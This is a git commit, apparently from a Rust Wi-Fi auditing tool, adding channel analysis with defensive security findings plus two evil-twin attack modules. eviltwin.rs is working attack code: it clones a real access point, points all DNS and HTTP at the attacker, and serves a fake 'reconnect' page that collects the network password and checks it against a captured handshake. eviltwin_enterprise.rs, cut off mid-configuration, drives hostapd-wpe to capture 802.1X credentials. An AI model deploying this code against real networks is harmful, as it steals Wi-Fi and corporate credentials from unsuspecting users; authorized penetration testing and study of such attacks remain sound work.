feat: Evil Twin (PSK + Enterprise/802.1X) e achados de análise de canais

- eviltwin.rs: clona um AP já visto na sessão (SSID aberto) numa segunda
  interface, com portal cativo pedindo a senha de novo. A senha só é
  aceita se bater de verdade contra o handshake real já capturado
  (CrackTarget::verify) — não é um "aceita qualquer coisa", é um oráculo
  criptográfico. Exige handshake quebrável já capturado desse BSSID e
  autorização explícita, mesma trilha de auditoria dos outros ataques.
- eviltwin_enterprise.rs: variante pra redes WPA2/WPA3-Enterprise
  (802.1X) — nelas a credencial viaja no próprio handshake EAP
  (PEAP/TTLS-MSCHAPv2), então o cliente autentica sozinho em qualquer AP
  que anuncie o SSID, sem portal nem ação humana. Orquestra hostapd-wpe
  (não vendorizado — é um patch no build do hostapd); gera certificado
  TLS autoassinado e eap_user genérico; parser best-effort do log de
  credenciais capturadas. Limitação documentada: cliente que valida a
  cadeia de certificado recusa a conexão.
- analysis.rs: achados de segurança (rede aberta, sem PMF, WPS ativo,
  possível evil twin real por nome duplicado) e recomendação de canal por
  banda com pontuação de interferência/sobreposição.
This commit is contained in:
Lucas Rayan committed 2026-10-24 14:54:06 -03:00
1 parent f83654506e
commit 91aacba939
3 files changed
+1182

No files matched your search

+486
View File
@@ -0,0 +1,486 @@
//! Análise de canais, detecção de anomalias (WIDS) e leitura de WPA3.
//!
//! Tudo aqui é derivado da tabela já capturada — nada injeta quadros. A
//! interface usa o resultado para desenhar o gráfico de canais e os alertas;
//! o relatório usa o mesmo modelo para não ter duas verdades.
use crate::radiotap::{self, Band};
use crate::scan::AccessPoint;
use serde::Serialize;
use std::collections::HashMap;
#[derive(Debug, Clone, Serialize)]
pub struct ChannelCandidate {
pub channel: u32,
pub freq_mhz: u16,
pub band: String,
pub score: f32,
pub aps: usize,
pub dfs: bool,
}
#[derive(Debug, Clone, Serialize)]
pub struct BandReport {
pub band: String,
pub candidates: Vec<ChannelCandidate>,
pub recommended: Option<u32>,
pub used_channels: Vec<u32>,
}
#[derive(Debug, Clone, Serialize)]
pub struct Finding {
pub id: String,
pub severity: String,
pub title: String,
pub detail: String,
pub bssid: Option<String>,
pub ssid: Option<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct Wpa3Info {
pub bssid: String,
pub ssid: Option<String>,
pub mode: String,
pub pmf: bool,
pub pmf_required: bool,
pub transition: bool,
pub notes: Vec<String>,
}
#[derive(Debug, Clone, Serialize, Default)]
pub struct Analysis {
pub bands: Vec<BandReport>,
pub findings: Vec<Finding>,
pub wpa3: Vec<Wpa3Info>,
pub deauth_60s: u32,
}
const BAND_24: &str = "2.4 GHz";
const BAND_5: &str = "5 GHz";
const BAND_6: &str = "6 GHz";
fn band_label(band: Band) -> &'static str {
match band {
Band::B2G4 => BAND_24,
Band::B5 => BAND_5,
Band::B6 => BAND_6,
Band::Unknown => BAND_24,
}
}
fn ap_freq(ap: &AccessPoint) -> Option<(u16, Band)> {
if let Some(freq) = ap.freq_mhz {
return Some((freq, radiotap::band_for_freq(freq)));
}
let band = ap.band?;
let channel = ap.channel?;
radiotap::channel_to_freq(channel, band).map(|freq| (freq, band))
}
fn ap_width(ap: &AccessPoint) -> u16 {
ap.width_mhz.filter(|w| *w >= 20).unwrap_or(20)
}
fn candidates_for(band: Band) -> Vec<u32> {
match band {
Band::B2G4 => (1..=14).collect(),
Band::B5 => {
let mut chans: Vec<u32> = (36..=64).step_by(4).collect();
chans.extend((100..=144).step_by(4));
chans.extend((149..=177).step_by(4));
chans.extend([182, 184, 188, 192, 196]);
chans
}
Band::B6 => (1..=233).step_by(4).collect(),
Band::Unknown => Vec::new(),
}
}
fn is_dfs(channel: u32) -> bool {
(52..=64).contains(&channel) || (100..=144).contains(&channel)
}
fn signal_weight(dbm: Option<i8>) -> f32 {
let dbm = dbm.unwrap_or(-75) as f32;
(1.0 - ((-dbm - 30.0) / 70.0)).clamp(0.15, 1.0)
}
fn overlap_score(candidate_freq: u16, aps: &[(u16, u16, f32)]) -> (f32, usize) {
let half = 10.0f32;
let mut score = 0.0f32;
let mut count = 0usize;
for (freq, width, weight) in aps {
let ap_half = *width as f32 / 2.0;
let lo = (candidate_freq as f32 - half).max(*freq as f32 - ap_half);
let hi = (candidate_freq as f32 + half).min(*freq as f32 + ap_half);
let overlap = (hi - lo).max(0.0) / (half * 2.0);
if overlap > 0.0 {
score += overlap * weight;
count += 1;
}
}
(score, count)
}
fn band_report(band: Band, aps: &[&AccessPoint]) -> BandReport {
let mut occupied: Vec<(u16, u16, f32)> = Vec::new();
let mut used = Vec::new();
for ap in aps {
let Some((freq, _)) = ap_freq(ap) else {
continue;
};
occupied.push((
freq,
ap_width(ap),
signal_weight(ap.signal_dbm.or(ap.max_signal_dbm)),
));
if let Some(ch) = ap.channel {
used.push(ch);
}
}
used.sort_unstable();
used.dedup();
let mut candidates: Vec<ChannelCandidate> = candidates_for(band)
.into_iter()
.filter_map(|channel| {
radiotap::channel_to_freq(channel, band).map(|freq| {
let (score, count) = overlap_score(freq, &occupied);
ChannelCandidate {
channel,
freq_mhz: freq,
band: band_label(band).to_string(),
score: (score * 1000.0).round() / 1000.0,
aps: count,
dfs: is_dfs(channel),
}
})
})
.collect();
let preferred: Vec<u32> = match band {
Band::B2G4 => vec![1, 6, 11],
_ => Vec::new(),
};
let recommended = if preferred.is_empty() {
candidates
.iter()
.filter(|c| !c.dfs)
.min_by(|a, b| a.score.total_cmp(&b.score))
.or_else(|| candidates.iter().min_by(|a, b| a.score.total_cmp(&b.score)))
.map(|c| c.channel)
} else {
preferred
.into_iter()
.filter_map(|ch| candidates.iter().find(|c| c.channel == ch))
.min_by(|a, b| a.score.total_cmp(&b.score))
.map(|c| c.channel)
};
candidates.sort_by(|a, b| {
a.score
.total_cmp(&b.score)
.then_with(|| a.channel.cmp(&b.channel))
});
candidates.truncate(8);
BandReport {
band: band_label(band).to_string(),
candidates,
recommended,
used_channels: used,
}
}
fn finding(
id: &str,
severity: &str,
title: impl Into<String>,
detail: impl Into<String>,
ap: Option<&AccessPoint>,
) -> Finding {
Finding {
id: id.into(),
severity: severity.into(),
title: title.into(),
detail: detail.into(),
bssid: ap.map(|a| a.bssid.clone()),
ssid: ap.and_then(|a| a.ssid.clone()),
}
}
fn security_rank(security: Option<&str>) -> u8 {
match security {
Some("Open") => 0,
Some("WEP") => 1,
Some("WPA") => 2,
Some("WPA2-EAP") => 3,
Some("WPA2") => 4,
Some("WPA2/WPA3") => 5,
Some("WPA3-EAP") => 6,
Some("WPA3") => 7,
Some("OWE") => 4,
_ => 3,
}
}
fn wpa3_info(ap: &AccessPoint) -> Option<Wpa3Info> {
let sec = ap.security.as_deref()?;
let is_wpa3 = sec.contains("WPA3") || sec == "OWE";
if !is_wpa3 {
return None;
}
let transition = sec == "WPA2/WPA3";
let mut notes = Vec::new();
if transition {
notes.push(
"Modo de transição aceita WPA2: um cliente pode ser induzido a usar o modo mais fraco."
.into(),
);
}
if !ap.pmf {
notes
.push("PMF não anunciado; WPA3 pressupõe proteção de quadros de gerenciamento.".into());
} else if !ap.pmf_required && !transition {
notes.push("PMF suportado, mas não obrigatório.".into());
}
if ap.wps {
notes.push("WPS ativo em rede WPA3 — combinação incomum e enfraquece o conjunto.".into());
}
if ap.wps_locked == Some(false) {
notes.push("WPS destravado: PIN pode ser testado.".into());
}
Some(Wpa3Info {
bssid: ap.bssid.clone(),
ssid: ap.ssid.clone(),
mode: sec.to_string(),
pmf: ap.pmf,
pmf_required: ap.pmf_required,
transition,
notes,
})
}
pub fn analyze(aps: &[AccessPoint], deauth_60s: u32, now: u64) -> Analysis {
let mut findings = Vec::new();
let mut wpa3 = Vec::new();
let bands = [Band::B2G4, Band::B5, Band::B6]
.into_iter()
.filter_map(|band| {
let filtered: Vec<&AccessPoint> = aps
.iter()
.filter(|ap| ap_freq(ap).is_some_and(|(_, b)| b == band))
.collect();
if filtered.is_empty() {
None
} else {
Some(band_report(band, &filtered))
}
})
.collect();
// SSID anunciado com seguranças diferentes é o sinal clássico de evil
// twin — legítimo costuma manter o mesmo conjunto em todos os rádios.
let mut by_ssid: HashMap<String, Vec<&AccessPoint>> = HashMap::new();
for ap in aps {
if let Some(ssid) = ap.ssid.as_deref().filter(|s| !s.is_empty()) {
by_ssid.entry(ssid.to_string()).or_default().push(ap);
}
}
for (ssid, group) in &by_ssid {
if group.len() < 2 {
continue;
}
let mut ranks: Vec<u8> = group
.iter()
.map(|a| security_rank(a.security.as_deref()))
.collect();
ranks.sort_unstable();
ranks.dedup();
if ranks.len() > 1 {
let detail = group
.iter()
.map(|a| format!("{} ({})", a.bssid, a.security.as_deref().unwrap_or("—")))
.collect::<Vec<_>>()
.join(", ");
findings.push(finding(
"evil_twin_security",
"bad",
format!("SSID “{ssid}” com seguranças diferentes"),
format!("O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {detail}. Pode ser um evil twin ou um AP mal configurado."),
None,
));
}
}
if deauth_60s >= 40 {
findings.push(finding(
"deauth_flood",
"bad",
"Rajada de desautenticação",
format!("{deauth_60s} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável."),
None,
));
}
let recent_aps = aps
.iter()
.filter(|a| now.saturating_sub(a.first_seen_unix) <= 60)
.count();
if recent_aps >= 60 {
findings.push(finding(
"beacon_flood",
"warn",
"Muitos BSSIDs novos",
format!("{recent_aps} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso."),
None,
));
}
for ap in aps {
let label = ap
.ssid
.clone()
.filter(|s| !s.is_empty())
.unwrap_or_else(|| ap.bssid.clone());
match ap.security.as_deref() {
Some("Open") => findings.push(finding(
"open",
"bad",
format!("Rede aberta: {label}"),
"Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.",
Some(ap),
)),
Some("WEP") => findings.push(finding(
"wep",
"bad",
format!("WEP em {label}"),
"WEP é quebrável em minutos; trate a rede como aberta.",
Some(ap),
)),
Some("WPA") => findings.push(finding(
"wpa1",
"warn",
format!("WPA1 (TKIP) em {label}"),
"WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.",
Some(ap),
)),
_ => {}
}
if ap.wps {
findings.push(finding(
"wps",
if ap.wps_locked == Some(true) {
"info"
} else {
"warn"
},
format!("WPS ativo em {label}"),
if ap.wps_locked == Some(true) {
"O AP anuncia WPS com configuração travada."
} else {
"WPS sem lock explícito; PIN pode ser testado com reaver/bully."
},
Some(ap),
));
}
if !ap.pmf
&& matches!(
ap.security.as_deref(),
Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3")
)
{
findings.push(finding(
"no_pmf",
"warn",
format!("Sem PMF em {label}"),
"Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.",
Some(ap),
));
}
if ap.pmf_required && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) && !ap.pmf
{
findings.push(finding(
"pmf_inconsistent",
"warn",
format!("PMF inconsistente em {label}"),
"O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.",
Some(ap),
));
}
if ap.wps && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) {
findings.push(finding(
"wpa3_wps",
"warn",
format!("WPA3 com WPS em {label}"),
"WPS não faz parte do WPA3 e abre uma via mais fraca de associação.",
Some(ap),
));
}
if let Some(info) = wpa3_info(ap) {
wpa3.push(info);
}
}
findings.sort_by_key(|f| match f.severity.as_str() {
"bad" => 0,
"warn" => 1,
_ => 2,
});
Analysis {
bands,
findings,
wpa3,
deauth_60s,
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::scan::ScanTable;
use crate::testutil::{ap, beacon_frame, radiotap_wrap};
fn ingest(table: &mut ScanTable, ssid: &str, channel: u8, signal: i8, akms: &[u8]) {
let frame = beacon_frame(ap(), ssid, channel, akms);
table.ingest_at(
&radiotap_wrap(&frame, 2407 + channel as u16 * 5, signal),
100,
);
}
#[test]
fn recommends_16_or_11_in_24() {
let mut table = ScanTable::new();
ingest(&mut table, "Casa", 6, -40, &[2]);
let result = table.analysis();
let band = result
.bands
.iter()
.find(|b| b.band == BAND_24)
.expect("2.4");
assert!(matches!(band.recommended, Some(1 | 6 | 11)));
}
#[test]
fn flags_same_ssid_with_different_security() {
let mut table = ScanTable::new();
ingest(&mut table, "Loja", 6, -40, &[2]);
let twin = beacon_frame([0x02, 0x11, 0x22, 0x33, 0x44, 0x55], "Loja", 11, &[]);
table.ingest_at(&radiotap_wrap(&twin, 2462, -50), 100);
let result = table.analysis();
assert!(result.findings.iter().any(|f| f.id == "evil_twin_security"));
}
#[test]
fn flags_wps_and_weak_networks() {
let mut table = ScanTable::new();
let frame = beacon_frame(ap(), "Antiga", 1, &[]);
table.ingest_at(&radiotap_wrap(&frame, 2412, -60), 100);
let result = table.analysis();
assert!(result
.findings
.iter()
.any(|f| f.id == "wep" || f.id == "open"));
}
}
+472
View File
@@ -0,0 +1,472 @@
//! Evil Twin + portal cativo: clona um AP já visto na captura (SSID aberto,
//! sem senha) pra atrair os clientes reais — em paralelo com desautenticação
//! contínua do AP verdadeiro, que já existe no engine — e pede a senha de
//! verdade por uma página de "reconectar", como qualquer portal cativo de
//! hotel/aeroporto faz.
//!
//! A diferença pro phishing comum: a senha digitada **nunca é aceita de
//! graça**. É conferida na hora contra o handshake real já capturado
//! ([`crate::crack::CrackTarget::verify`], o mesmo MIC criptográfico usado
//! na quebra por dicionário) — só confirma "conectado" quando a senha bate
//! de verdade com a rede. Isso também evita que a página vire um jeito de
//! coletar qualquer string digitada: ela só diz "certo" pra senha certa.
//!
//! Só funciona contra um AP que já apareceu na sessão de captura atual (não
//! dá pra apontar pra uma rede nunca vista) e exige a mesma autorização
//! explícita das outras abas de ataque.
use crate::crack::CrackTarget;
use std::fmt::Write as _;
/// Config do hostapd pro AP clone: aberto (sem criptografia) de propósito —
/// é o portal cativo que pede a senha, não o rádio. Praticamente todo
/// cliente com "lembrar essa rede" conecta sozinho numa rede aberta com o
/// SSID certo, sem perguntar nada ao usuário.
pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
let _ = writeln!(out, "driver=nl80211");
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
let _ = writeln!(out, "channel={channel}");
let _ = writeln!(out, "auth_algs=1");
let _ = writeln!(out, "wmm_enabled=1");
let _ = writeln!(out, "ignore_broadcast_ssid=0");
if let Some(bssid) = bssid {
let _ = writeln!(out, "bssid={bssid}");
}
out
}
/// Config do dnsmasq: DHCP na sub-rede do AP clone + DNS que resolve
/// **tudo** pro próprio gateway, inclusive os domínios que Android/iOS/
/// Windows usam pra detectar portal cativo (é o que faz o popup de login
/// abrir sozinho no dispositivo da vítima).
pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
let _ = writeln!(out, "bind-interfaces");
let _ = writeln!(out, "dhcp-range={},{},12h", dhcp_range.0, dhcp_range.1);
let _ = writeln!(out, "dhcp-option=3,{gateway_ip}"); // gateway
let _ = writeln!(out, "dhcp-option=6,{gateway_ip}"); // DNS
let _ = writeln!(out, "address=/#/{gateway_ip}"); // resolve tudo pra nós
let _ = writeln!(out, "no-resolv");
out
}
/// Regras de `iptables` (lista de argumentos, uma regra por linha — cada
/// `Vec<String>` é um `iptables <args>`) pra mandar todo HTTP da sub-rede do
/// AP clone pro servidor do portal cativo, nessa máquina. Sem NAT pra
/// internet de propósito — o clone nunca dá acesso de verdade, só o portal.
pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
let redirect = |proto: &str, dport: u16| {
vec![
"-t".into(),
"nat".into(),
"-A".into(),
"PREROUTING".into(),
"-i".into(),
iface.into(),
"-p".into(),
proto.into(),
"--dport".into(),
dport.to_string(),
"-j".into(),
"REDIRECT".into(),
"--to-port".into(),
portal_port.to_string(),
]
};
vec![redirect("tcp", 80)]
}
/// As mesmas regras, pra desfazer (`-D` em vez de `-A`) ao parar o job.
pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
iptables_rules(iface, portal_port)
.into_iter()
.map(|mut rule| {
if let Some(a) = rule.iter_mut().find(|a| *a == "-A") {
*a = "-D".into();
}
rule
})
.collect()
}
fn sanitize_conf_value(value: &str) -> String {
// hostapd.conf não escapa valores — corta quebra de linha, que seria
// injeção de outra diretiva de config.
value.replace(['\n', '\r'], "")
}
/// Resultado de uma tentativa de login no portal.
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum PortalAttempt {
/// Senha bateu com o handshake real — confirmado criptograficamente,
/// não é só "aceitar o que a pessoa digitou".
Correct,
WrongPassword,
/// Comprimento fora de 8–63: nem vale a pena gastar um PBKDF2 nisso.
InvalidLength,
}
/// Confere a senha submetida no portal contra o handshake real do alvo —
/// mesma verificação criptográfica usada na quebra por dicionário
/// ([`crate::crack::CrackTarget::verify`]). O portal só mostra "conectado"
/// quando isso bate; do contrário, pede de novo, exatamente como um portal
/// cativo legítimo faria com uma senha errada.
pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt {
if !(8..=63).contains(&password.len()) {
return PortalAttempt::InvalidLength;
}
if target.verify(password) {
PortalAttempt::Correct
} else {
PortalAttempt::WrongPassword
}
}
/// Página de login do portal — pede a senha da rede clonada. Texto genérico
/// de "reconectar à rede", sem imitar nenhuma marca específica.
pub fn portal_login_html(ssid: &str, wrong_password: bool) -> String {
let notice = if wrong_password {
r#"<p class="err">Senha incorreta. Tente de novo.</p>"#
} else {
""
};
format!(
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Conectar à rede</title>
<style>
body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;display:flex;
align-items:center;justify-content:center;min-height:100vh;margin:0}}
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}
h1{{font-size:18px;margin:0 0 6px}}
p.sub{{color:#999;font-size:13px;margin:0 0 18px}}
p.err{{color:#ff6961;font-size:13px}}
input{{width:100%;box-sizing:border-box;padding:12px;border-radius:10px;border:0;
background:#2c2c2e;color:#eee;font-size:15px;margin-bottom:12px}}
button{{width:100%;padding:12px;border-radius:10px;border:0;background:#f59e0b;
color:#1f1300;font-weight:600;font-size:15px}}
</style></head><body>
<form class="card" method="post" action="/connect">
<h1>Reconectar a &ldquo;{ssid}&rdquo;</h1>
<p class="sub">A sessão expirou. Digite a senha da rede Wi-Fi pra continuar conectado.</p>
{notice}
<input type="password" name="password" placeholder="Senha da rede" autofocus required minlength="8" maxlength="63">
<button type="submit">Conectar</button>
</form>
</body></html>"#,
ssid = html_escape(ssid),
notice = notice,
)
}
pub fn portal_success_html(ssid: &str) -> String {
format!(
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Conectado</title>
<style>body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;
display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;text-align:center}}
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}</style>
</head><body><div class="card"><h1>Conectado</h1><p>Você já está conectado a &ldquo;{ssid}&rdquo;.</p></div></body></html>"#,
ssid = html_escape(ssid),
)
}
/// Servidor HTTP minúsculo do portal — sem dependência nova, não precisa
/// ser um servidor de verdade, só responder GET (qualquer caminho vira a
/// página de login, o que também satisfaz a detecção de portal cativo do
/// Android/iOS/Windows) e POST /connect (lê `password=...` do corpo e
/// confere contra o handshake real). Roda até achar a senha certa, o `stop`
/// virar true, ou o accept falhar.
#[cfg(target_os = "linux")]
pub fn run_portal(
listener: std::net::TcpListener,
ssid: &str,
target: &CrackTarget,
stop: &std::sync::atomic::AtomicBool,
mut on_attempt: impl FnMut(PortalAttempt),
) -> Option<String> {
use std::sync::atomic::Ordering;
use std::time::Duration;
listener.set_nonblocking(true).ok();
loop {
if stop.load(Ordering::Relaxed) {
return None;
}
match listener.accept() {
Ok((stream, _)) => {
if let Some(password) = handle_connection(stream, ssid, target, &mut on_attempt) {
return Some(password);
}
}
Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {
std::thread::sleep(Duration::from_millis(80));
}
Err(_) => return None,
}
}
}
#[cfg(target_os = "linux")]
fn handle_connection(
mut stream: std::net::TcpStream,
ssid: &str,
target: &CrackTarget,
on_attempt: &mut impl FnMut(PortalAttempt),
) -> Option<String> {
use std::io::{Read, Write};
stream
.set_read_timeout(Some(std::time::Duration::from_secs(5)))
.ok();
let mut buf = vec![0u8; 8192];
let mut total = 0usize;
// Lê até achar o fim dos cabeçalhos — suficiente pros requests curtos
// que um navegador manda pra um form simples.
loop {
let n = stream.read(&mut buf[total..]).ok()?;
if n == 0 {
break;
}
total += n;
if buf[..total].windows(4).any(|w| w == b"\r\n\r\n") || total >= buf.len() {
break;
}
}
let request = String::from_utf8_lossy(&buf[..total]);
let mut lines = request.lines();
let request_line = lines.next().unwrap_or("");
let mut parts = request_line.split_whitespace();
let method = parts.next().unwrap_or("GET");
let path = parts.next().unwrap_or("/");
let mut content_length = 0usize;
for line in request.lines() {
if let Some(v) = line
.to_ascii_lowercase()
.strip_prefix("content-length:")
.map(str::trim)
.and_then(|v| v.parse::<usize>().ok())
{
content_length = v;
}
}
let mut found_password = None;
let body = if method == "POST" && path.starts_with("/connect") {
let header_end = request.find("\r\n\r\n").map(|i| i + 4).unwrap_or(total);
let body_bytes = &buf[header_end..total.min(header_end + content_length)];
let form = String::from_utf8_lossy(body_bytes);
let password = form_value(&form, "password").unwrap_or_default();
let attempt = check_submission(target, &password);
on_attempt(attempt.clone());
match attempt {
PortalAttempt::Correct => {
found_password = Some(password);
portal_success_html(ssid)
}
PortalAttempt::WrongPassword | PortalAttempt::InvalidLength => {
portal_login_html(ssid, true)
}
}
} else {
portal_login_html(ssid, false)
};
let response = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(response.as_bytes());
found_password
}
/// Lê `chave=valor` de um corpo `application/x-www-form-urlencoded` simples
/// (sem libs extra — é um único campo de senha, não vale a pena puxar uma
/// crate de parsing de formulário por causa disso).
fn form_value(body: &str, key: &str) -> Option<String> {
body.split('&').find_map(|pair| {
let (k, v) = pair.split_once('=')?;
if k == key {
Some(url_decode(v))
} else {
None
}
})
}
fn url_decode(s: &str) -> String {
let bytes = s.as_bytes();
let mut out = Vec::with_capacity(bytes.len());
let mut i = 0;
while i < bytes.len() {
match bytes[i] {
b'+' => {
out.push(b' ');
i += 1;
}
b'%' if i + 2 < bytes.len() => {
let hex = std::str::from_utf8(&bytes[i + 1..i + 3]).ok();
if let Some(byte) = hex.and_then(|h| u8::from_str_radix(h, 16).ok()) {
out.push(byte);
i += 3;
} else {
out.push(bytes[i]);
i += 1;
}
}
b => {
out.push(b);
i += 1;
}
}
}
String::from_utf8_lossy(&out).into_owned()
}
fn html_escape(s: &str) -> String {
s.replace('&', "&amp;")
.replace('<', "&lt;")
.replace('>', "&gt;")
.replace('"', "&quot;")
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn hostapd_conf_includes_required_fields_and_strips_newlines() {
let conf = hostapd_conf("wlan1", "Rede\nMaliciosa", 6, Some("aa:bb:cc:dd:ee:ff"));
assert!(conf.contains("interface=wlan1"));
assert!(conf.contains("ssid=RedeMaliciosa"));
assert!(!conf.contains("ssid=Rede\nMaliciosa"));
assert!(conf.contains("channel=6"));
assert!(conf.contains("hw_mode=g"));
assert!(conf.contains("bssid=aa:bb:cc:dd:ee:ff"));
}
#[test]
fn hostapd_conf_picks_5ghz_mode_above_channel_14() {
let conf = hostapd_conf("wlan1", "Rede5G", 149, None);
assert!(conf.contains("hw_mode=a"));
assert!(!conf.contains("bssid="));
}
#[test]
fn dnsmasq_conf_hijacks_every_domain_to_the_gateway() {
let conf = dnsmasq_conf("wlan1", "10.0.0.1", ("10.0.0.10", "10.0.0.200"));
assert!(conf.contains("address=/#/10.0.0.1"));
assert!(conf.contains("dhcp-range=10.0.0.10,10.0.0.200,12h"));
assert!(conf.contains("no-resolv"));
}
#[test]
fn iptables_rules_redirect_http_to_the_portal_port() {
let rules = iptables_rules("wlan1", 8080);
assert_eq!(rules.len(), 1);
assert!(rules[0].contains(&"REDIRECT".to_string()));
assert!(rules[0].contains(&"8080".to_string()));
assert!(rules[0].contains(&"80".to_string()));
}
#[test]
fn cleanup_rules_mirror_add_rules_with_delete_flag() {
let add = iptables_rules("wlan1", 8080);
let del = iptables_cleanup_rules("wlan1", 8080);
assert_eq!(add.len(), del.len());
assert!(add[0].contains(&"-A".to_string()));
assert!(del[0].contains(&"-D".to_string()));
assert!(!del[0].contains(&"-A".to_string()));
}
fn sample_target(password: &str) -> CrackTarget {
use crate::testutil::{handshake_frames, synthetic_handshake};
let (m1, m2) = handshake_frames("RedeAlvo", password, 2, false);
let hs = synthetic_handshake(
"RedeAlvo",
"00:11:22:33:44:55",
"66:77:88:99:aa:bb",
&m1,
&m2,
);
CrackTarget::from_handshake(&hs).expect("alvo")
}
#[test]
fn check_submission_only_accepts_the_real_password() {
let target = sample_target("senha-verdadeira");
assert_eq!(
check_submission(&target, "senha-verdadeira"),
PortalAttempt::Correct
);
assert_eq!(
check_submission(&target, "chute-qualquer"),
PortalAttempt::WrongPassword
);
assert_eq!(
check_submission(&target, "curta"),
PortalAttempt::InvalidLength
);
}
#[test]
fn portal_server_rejects_wrong_password_then_accepts_the_real_one() {
use std::io::{Read, Write};
use std::net::TcpListener;
use std::sync::atomic::AtomicBool;
let listener = TcpListener::bind("127.0.0.1:0").expect("bind");
let addr = listener.local_addr().unwrap();
let target = sample_target("senha-real-123");
let stop = AtomicBool::new(false);
let attempts = std::sync::Mutex::new(Vec::new());
let handle = std::thread::spawn(move || {
run_portal(listener, "RedeAlvo", &target, &stop, |a| {
attempts.lock().unwrap().push(a);
})
});
// Dá um tempinho pro accept() estar escutando antes do primeiro connect.
std::thread::sleep(std::time::Duration::from_millis(50));
let post = |password: &str| -> String {
let body = format!("password={password}");
let req = format!(
"POST /connect HTTP/1.1\r\nHost: x\r\nContent-Length: {}\r\n\r\n{body}",
body.len()
);
let mut stream = std::net::TcpStream::connect(addr).expect("connect");
stream.write_all(req.as_bytes()).unwrap();
let mut resp = String::new();
stream.read_to_string(&mut resp).unwrap();
resp
};
let wrong = post("senha-errada-aqui");
assert!(wrong.contains("Senha incorreta"));
let right = post("senha-real-123");
assert!(right.contains("Você já está conectado"));
let password = handle.join().unwrap();
assert_eq!(password.as_deref(), Some("senha-real-123"));
}
#[test]
fn portal_pages_escape_ssid_and_render_retry_notice() {
let html = portal_login_html("Rede <script>", true);
assert!(html.contains("Rede &lt;script&gt;"));
assert!(!html.contains("<script>"));
assert!(html.contains("Senha incorreta"));
let clean = portal_login_html("Rede Normal", false);
assert!(!clean.contains("Senha incorreta"));
}
}
@@ -0,0 +1,224 @@
//! Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X — usuário+senha via
//! RADIUS, não uma senha única como o PSK comum): clona o AP numa segunda
//! interface anunciando o mesmo SSID e aceita o handshake EAP (PEAP/EAP-TTLS
//! com MSCHAPv2) de qualquer cliente que tente autenticar nele. Diferente do
//! Evil Twin de PSK (`eviltwin.rs`), aqui o dispositivo manda a credencial
//! **automaticamente**, como parte do próprio protocolo 802.1X — não precisa
//! de portal cativo nem de nenhuma ação humana, porque o cliente já tenta
//! autenticar sozinho em qualquer AP que anuncie o SSID que ele reconhece.
//!
//! Isso só existe pra Enterprise porque só nela a senha (ou algo derivado
//! dela) de fato viaja pela rede como parte da autenticação — no PSK a
//! senha nunca é transmitida (só confere um MIC), por isso o Evil Twin de
//! PSK precisa enganar um humano a digitá-la de novo.
//!
//! Orquestra o `hostapd-wpe` (não vem com o Sabiá — precisa estar instalado
//! separadamente: não é um binário pequeno vendorizável como o reaver, é um
//! patch sobre a árvore de build do próprio hostapd). O Sabiá só gera a
//! config, o `eap_user` genérico e o certificado autoassinado, e depois lê o
//! log de credenciais capturadas.
//!
//! Limitação honesta: o certificado é autoassinado. Clientes que validam a
//! cadeia de certificado da rede (comum em dispositivos atualizados,
//! principalmente com perfil MDM corporativo) vão recusar a conexão ou
//! avisar o usuário — exatamente a defesa que deveria existir contra esse
//! ataque. Funciona de verdade contra dispositivos configurados sem essa
//! validação (ainda comum em redes legadas/mal configuradas), que é o caso
//! que esse ataque sempre existiu para expor.
use std::fmt::Write as _;
/// Config do hostapd-wpe pro AP clone: mesmo SSID/canal do AP real,
/// anunciando WPA2-Enterprise e aceitando qualquer EAP (PEAP/TTLS) — é o
/// `eap_user_file` genérico que faz ele aceitar qualquer identidade.
#[allow(clippy::too_many_arguments)]
pub fn hostapd_wpe_conf(
iface: &str,
ssid: &str,
channel: u32,
eap_user_path: &str,
ca_cert_path: &str,
server_cert_path: &str,
server_key_path: &str,
wpe_logfile_path: &str,
) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
let _ = writeln!(out, "driver=nl80211");
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
let _ = writeln!(out, "channel={channel}");
let _ = writeln!(out, "auth_algs=1");
let _ = writeln!(out, "wmm_enabled=1");
let _ = writeln!(out, "ignore_broadcast_ssid=0");
let _ = writeln!(out, "wpa=2");
